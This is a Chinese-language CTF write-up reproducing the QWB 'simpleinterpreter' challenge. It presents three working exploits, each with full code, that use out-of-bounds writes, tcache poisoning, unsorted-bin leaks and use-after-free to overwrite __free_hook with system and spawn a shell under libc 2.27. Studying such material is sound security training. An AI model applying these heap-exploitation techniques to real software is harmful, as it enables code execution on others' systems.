对于一个刚入门的三个月的菜鸡pwn手打算按照难度慢慢复现qwb的题目
先simpleinterpreter吧
simpleinterpreter libc 2.27
逆向
法1
方法1参考链接
程序实现了一个 C 语言解释器,可用的关键字如下:
char else enum if int return sizeof while read close printf malloc free memset memcmp exit void main
read close printf malloc free memset memcmp exit 和原生C 函数效果一样
可以尝试一下&和*操作是否存在,存在利用那么更方便
漏洞就是越界,首先用 malloc 一个超大堆块分配到 mmap 内存,然后越界写 libc,将 free_hook 覆盖为 system 地址,然后释放”/bin/sh”即可 getshell(libc 版本是 2.27)
本地好像不行,得到的地址由mmap的第几次得到没有确定下来,导致与基地址偏移无法确定,但是第几次mmap的范围有限,所以如果不断尝试可能成功
该法对应的输入代码如下
main(){
int size;
char* freehook;
char* system;
char* v;
char *binsh;
size = 204800;
binsh="/bin/sh";
v=malloc(size);
freehook=v-0xb2728;
system=v-0x450bf0;
*(int*)freehook=system;
free(binsh);
}
法二
该方法没有使用到*和&,单纯利用提供得关键字解决
- 分配一个大于fastbin的chunk和两个fastbin的chunk
- free第一个chunk,此时进入unsortedbin泄露libc地址
- free第二个和第三个chunk,然后修改第三个chunk的fd为free_hook-8的位置
- malloc两次
- 修改第二次的chunk的值为/bin/sh\x00和system地址,此时free_hook的内容被修改为system地址
- free第二次的chunk即可getshell
from pwn import *
sh = process('./simpleinterpreter')
context.log_level = "debug"
code = '''
int main()
{
void* p1;
void* p2;
void* p3;
void* p4;
void* p5;
p1 = malloc(0x500);
p2 = malloc(0x18);
p3 = malloc(0x18);
free(p1);
printf(p1);
free(p3);
free(p2);
read(0, p2, 8);
p4 = malloc(0x18);
p5 = malloc(0x18);
read(0, p5, 0x10);
free(p5);
return 0;
}'''
sh.sendlineafter("Code size:", str(len(code)))
sh.sendafter("Please give me the code to interpret:", code)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebca0
log.success("libc_base:\t" + hex(libc_base))
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f420
sh.send(p64(free_hook - 8))
sh.send("/bin/sh\x00" + p64(system))
sh.interactive()
法3
与法1的区别在于泄露libc基地址方式不同而已
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell
from pwncli import *
cli_script()
set_remote_libc('libc-2.27.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
payload = '''
int c;
int main(){
int b;
int libc;
int* free_hook;
char* sh;
libc = 0 ;
free_hook = libc + 1;
free_hook = malloc(0x500);
sh = malloc(0x10);
free(free_hook);
libc = *free_hook - 0x3ebca0;
printf("%lx",libc);
free_hook = libc + 0x3ed8e8;
*free_hook = libc + 0x4F420;
sh[0] = 's';
sh[1] = 'h';
free(sh);
return 0;
}
'''
sla('size:',str(len(payload)))
sla('et:',payload)
ia()